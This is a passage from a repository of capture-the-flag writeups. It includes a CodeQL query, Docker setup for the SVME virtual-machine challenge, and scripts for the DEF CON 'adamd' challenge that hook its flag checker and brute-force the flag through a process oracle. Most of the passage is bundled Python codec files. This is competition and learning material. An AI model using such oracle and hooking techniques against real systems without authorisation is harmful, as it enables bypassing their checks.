| main() 29 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/QLaaS/queries/qiling-method-calls.ql: -------------------------------------------------------------------------------- 1 | // See: 2 | // https://github.com/github/codeql/blob/main/python/ql/examples/snippets/method_call.ql 3 | 4 | import python 5 | 6 | from AstNode call, PythonFunctionValue method 7 | where 8 | method.getQualifiedName().matches("%ql%") and 9 | method.getACall().getNode() = call 10 | select call, method.getQualifiedName() -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/QLaaS/queries/qlpack.yml: -------------------------------------------------------------------------------- 1 | name: qiling-custom-queries 2 | version: 0.0.0 3 | libraryPathDependencies: codeql/python-all 4 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/SVME/docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update &&\ 6 | apt-get install -y --no-install-recommends gcc g++ cmake make wget unzip socat 7 | 8 | WORKDIR /app/ 9 | 10 | RUN wget --no-check-certificate https://github.com/parrt/simple-virtual-machine-C/archive/refs/heads/master.zip -O svme.zip &&\ 11 | unzip svme.zip 12 | COPY ./main.c /app/simple-virtual-machine-C-master/src/vmtest.c 13 | RUN cd simple-virtual-machine-C-master &&\ 14 | cmake . &&\ 15 | make &&\ 16 | mv ./simple_virtual_machine_C /app/svme &&\ 17 | cd /app/ &&\ 18 | rm -rf ./simple-virtual-machine-C-master 19 | 20 | RUN useradd --no-create-home -u 1000 user 21 | COPY flag / 22 | 23 | CMD ["socat", "tcp-l:1337,reuseaddr,fork,su=user", "exec:/app/svme"] 24 | 25 | 26 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/SVME/docker/flag: -------------------------------------------------------------------------------- 1 | test{XXXXX} 2 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/SVME/docker/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "vm.h" 4 | 5 | int main(int argc, char *argv[]) { 6 | int code[128], nread = 0; 7 | while (nread < sizeof(code)) { 8 | int ret = read(0, code+nread, sizeof(code)-nread); 9 | if (ret <= 0) break; 10 | nread += ret; 11 | } 12 | VM *vm = vm_create(code, nread/4, 0); 13 | vm_exec(vm, 0, true); 14 | vm_free(vm); 15 | return 0; 16 | } 17 | 18 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/SVME/readme.md: -------------------------------------------------------------------------------- 1 | # SVME 2 | 3 | Exploitation of the simple stack-based virtual machine available [here](https://github.com/parrt/simple-virtual-machine-C). 4 | -------------------------------------------------------------------------------- /writeups/2022/RealWorldCTF/SVME/svme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/RealWorldCTF/SVME/svme -------------------------------------------------------------------------------- /writeups/2022/angstrom/parity/gen_opcodes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import itertools 4 | 5 | from pwn import disasm 6 | 7 | for a, b in itertools.product(range(0xff+1), repeat=2): 8 | a_lsb = a & 1 9 | b_lsb = b & 1 10 | 11 | if a_lsb == b_lsb: 12 | continue 13 | 14 | disassembled = disasm(bytes([a, b])) 15 | if ".byte" in disassembled: 16 | continue 17 | 18 | print(disassembled) 19 | -------------------------------------------------------------------------------- /writeups/2022/angstrom/parity/parity: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/angstrom/parity/parity -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/bin/python: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/defcon-quals/adamd/bin/python -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ast 4 | import string 5 | import os 6 | 7 | os.environ["PWNLIB_SILENT"] = "1" 8 | from pwn import process 9 | 10 | charset = string.ascii_letters + string.digits + "_{}." 11 | target = b'\x8e\x86\x8d\x95\xbb\xaa\xb9\xb2\xc8\xb3\xba\xc5\xaf\xc3\xc8\xc7\xc5\xb9\xcf\xe3\xe3\xe6\xd3\xd3\xd1\xe4\xe1\xcd\xe3\xf2\xed\xfa\xe0\xe9\xea\xddC0EH\xe7\xf3\x0f\xed\x06\x17\x02\xf5_Z^\x13`\x16\x15fhj)' 12 | flag_len = 59 13 | flag = "FLAG{" 14 | 15 | while not flag.endswith("}"): 16 | for c in charset: 17 | guess = flag + c 18 | guess += "A"*(flag_len - len(flag) - 2) + "}" 19 | 20 | io = process(["./bin/python", "hook_guess.py", guess]) 21 | io.recvuntil(b"check result:\n") 22 | guess_result = ast.literal_eval(io.recvuntil(b"\n", drop=True).decode()) 23 | io.kill() 24 | 25 | check_len = len(flag)+1 26 | if guess_result[:check_len] == target[:check_len]: 27 | flag = flag + c 28 | print(flag) 29 | break 30 | else: 31 | raise ValueError("Exhausted guess space!") 32 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/chall.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/defcon-quals/adamd/chall.pyc -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/hook_check_flag_find_constraints.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | flag_len = 59 5 | 6 | class Hook: 7 | def __getitem__(self, idx): 8 | if isinstance(idx, slice): 9 | return self 10 | elif idx >= len(self): 11 | raise IndexError("xxx") 12 | 13 | print(f"Access of index: {idx}") 14 | return self 15 | 16 | def __and__(self, operand): 17 | print(f"Bitwise and with: {operand}") 18 | return self 19 | 20 | def __eq__(self, other): 21 | print(f"Equality comparison with: {other}") 22 | return True 23 | 24 | def __len__(self): 25 | return flag_len 26 | 27 | import chall 28 | chall.check_flag(Hook()) 29 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/hook_check_flag_find_len.py: -------------------------------------------------------------------------------- 1 | class Hook: 2 | def __init__(self, len_): 3 | self.len_ = len_ 4 | 5 | def __getitem__(self, idx): 6 | 1/0 7 | 8 | def __len__(self): 9 | return self.len_ 10 | 11 | import chall 12 | 13 | for i in range(0x100): 14 | try: 15 | chall.check_flag(Hook(len_=i)) 16 | except ZeroDivisionError: 17 | print("Flag len:", i) 18 | break 19 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/hook_guess.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | guess = sys.argv[1] 4 | 5 | def hook_input(prompt): 6 | return guess 7 | __builtins__.input = hook_input 8 | 9 | def hook_check_flag(x): 10 | print("check result:") 11 | print(x) 12 | 13 | import chall 14 | chall.check_flag = hook_check_flag 15 | chall.main() 16 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/big5.py: -------------------------------------------------------------------------------- 1 | # 2 | # big5.py: Python Unicode Codec for BIG5 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_tw, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_tw.getcodec('big5') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='big5', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/big5hkscs.py: -------------------------------------------------------------------------------- 1 | # 2 | # big5hkscs.py: Python Unicode Codec for BIG5HKSCS 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_hk, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_hk.getcodec('big5hkscs') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='big5hkscs', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/cp932.py: -------------------------------------------------------------------------------- 1 | # 2 | # cp932.py: Python Unicode Codec for CP932 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_jp, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_jp.getcodec('cp932') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='cp932', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/cp949.py: -------------------------------------------------------------------------------- 1 | # 2 | # cp949.py: Python Unicode Codec for CP949 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_kr, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_kr.getcodec('cp949') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='cp949', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/cp950.py: -------------------------------------------------------------------------------- 1 | # 2 | # cp950.py: Python Unicode Codec for CP950 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_tw, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_tw.getcodec('cp950') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='cp950', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/euc_jis_2004.py: -------------------------------------------------------------------------------- 1 | # 2 | # euc_jis_2004.py: Python Unicode Codec for EUC_JIS_2004 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_jp, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_jp.getcodec('euc_jis_2004') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='euc_jis_2004', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/euc_jisx0213.py: -------------------------------------------------------------------------------- 1 | # 2 | # euc_jisx0213.py: Python Unicode Codec for EUC_JISX0213 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_jp, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_jp.getcodec('euc_jisx0213') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='euc_jisx0213', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/euc_jp.py: -------------------------------------------------------------------------------- 1 | # 2 | # euc_jp.py: Python Unicode Codec for EUC_JP 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_jp, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_jp.getcodec('euc_jp') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='euc_jp', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/euc_kr.py: -------------------------------------------------------------------------------- 1 | # 2 | # euc_kr.py: Python Unicode Codec for EUC_KR 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_kr, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_kr.getcodec('euc_kr') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='euc_kr', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/gb18030.py: -------------------------------------------------------------------------------- 1 | # 2 | # gb18030.py: Python Unicode Codec for GB18030 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_cn, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_cn.getcodec('gb18030') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='gb18030', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/gb2312.py: -------------------------------------------------------------------------------- 1 | # 2 | # gb2312.py: Python Unicode Codec for GB2312 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_cn, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_cn.getcodec('gb2312') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='gb2312', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/gbk.py: -------------------------------------------------------------------------------- 1 | # 2 | # gbk.py: Python Unicode Codec for GBK 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_cn, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_cn.getcodec('gbk') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='gbk', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/hz.py: -------------------------------------------------------------------------------- 1 | # 2 | # hz.py: Python Unicode Codec for HZ 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_cn, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_cn.getcodec('hz') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='hz', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/iso2022_jp.py: -------------------------------------------------------------------------------- 1 | # 2 | # iso2022_jp.py: Python Unicode Codec for ISO2022_JP 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_iso2022, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_iso2022.getcodec('iso2022_jp') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='iso2022_jp', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/iso2022_jp_1.py: -------------------------------------------------------------------------------- 1 | # 2 | # iso2022_jp_1.py: Python Unicode Codec for ISO2022_JP_1 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_iso2022, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_iso2022.getcodec('iso2022_jp_1') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='iso2022_jp_1', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/iso2022_jp_2.py: -------------------------------------------------------------------------------- 1 | # 2 | # iso2022_jp_2.py: Python Unicode Codec for ISO2022_JP_2 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_iso2022, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_iso2022.getcodec('iso2022_jp_2') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='iso2022_jp_2', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/iso2022_jp_3.py: -------------------------------------------------------------------------------- 1 | # 2 | # iso2022_jp_3.py: Python Unicode Codec for ISO2022_JP_3 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_iso2022, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_iso2022.getcodec('iso2022_jp_3') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='iso2022_jp_3', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | incrementalencoder=IncrementalEncoder, 36 | incrementaldecoder=IncrementalDecoder, 37 | streamreader=StreamReader, 38 | streamwriter=StreamWriter, 39 | ) 40 | -------------------------------------------------------------------------------- /writeups/2022/defcon-quals/adamd/lib/python3.12/encodings/iso2022_kr.py: -------------------------------------------------------------------------------- 1 | # 2 | # iso2022_kr.py: Python Unicode Codec for ISO2022_KR 3 | # 4 | # Written by Hye-Shik Chang 5 | # 6 | 7 | import _codecs_iso2022, codecs 8 | import _multibytecodec as mbc 9 | 10 | codec = _codecs_iso2022.getcodec('iso2022_kr') 11 | 12 | class Codec(codecs.Codec): 13 | encode = codec.encode 14 | decode = codec.decode 15 | 16 | class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, 17 | codecs.IncrementalEncoder): 18 | codec = codec 19 | 20 | class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, 21 | codecs.IncrementalDecoder): 22 | codec = codec 23 | 24 | class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): 25 | codec = codec 26 | 27 | class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): 28 | codec = codec 29 | 30 | def getregentry(): 31 | return codecs.CodecInfo( 32 | name='iso2022_kr', 33 | encode=Codec().encode, 34 | decode=Codec().decode, 35 | 